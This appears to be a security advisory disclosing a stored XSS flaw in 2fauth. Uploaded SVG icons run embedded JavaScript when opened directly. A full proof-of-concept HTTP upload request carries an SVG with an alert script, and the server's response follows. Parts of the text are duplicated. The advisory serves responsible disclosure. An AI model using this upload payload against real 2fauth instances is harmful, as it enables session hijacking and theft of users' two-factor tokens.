A vulnerability was discovered an stored XSS in 2fauth due to improper headers in direct access to uploaded SVGs.
The application allows uploading images in several places. One of the accepted types of image is SVG, which allows JS scripting.
Therefore, by uploading a malicious SVG which contains JS code, an attacker which is able to drive a victim to the uploaded image could compromise that victim's session and access to their tokens.
POST /api/v1/icons HTTP/2
Host: demo.2fauth.app
Cookie: <valid cookie>
X-Xsrf-Token: <valid token>
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymyFZAB8YNf9FUEq8
Origin: https://demo.2fauth.app
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.2fauth.app/account/create
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
------WebKitFormBoundarymyFZAB8YNf9FUEq8
Content-Disposition: form-data; name="icon"; filename="xss.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script>
alert("XSS");
</script>
</svg>
------WebKitFormBoundarymyFZAB8YNf9FUEq8--
HTTP/2 201 Created
Date: Tue, 12 Nov 2024 09:17:38 GMT
Content-Type: application/json
Server: Apache
X-Powered-By: PHP/8.2
Cache-Control: no-cache, private
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 52
Access-Control-Allow-Origin: *
{"filename":"gZsebv83cEApO2qVT3z35qKFBNljNU8nWIr1dt4g.svg"}
Session Hijacking: Attackers can steal session cookies, allowing them to impersonate legitimate users.
Data Theft: Access to sensitive information such as personal data, credentials, or financial details.
Details
A vulnerability was discovered an stored XSS in 2fauth due to improper headers in direct access to uploaded SVGs.
The application allows uploading images in several places. One of the accepted types of image is SVG, which allows JS scripting.
Therefore, by uploading a malicious SVG which contains JS code, an attacker which is able to drive a victim to the uploaded image could compromise that victim's session and access to their tokens.
PoC
Impact
Session Hijacking: Attackers can steal session cookies, allowing them to impersonate legitimate users.
Data Theft: Access to sensitive information such as personal data, credentials, or financial details.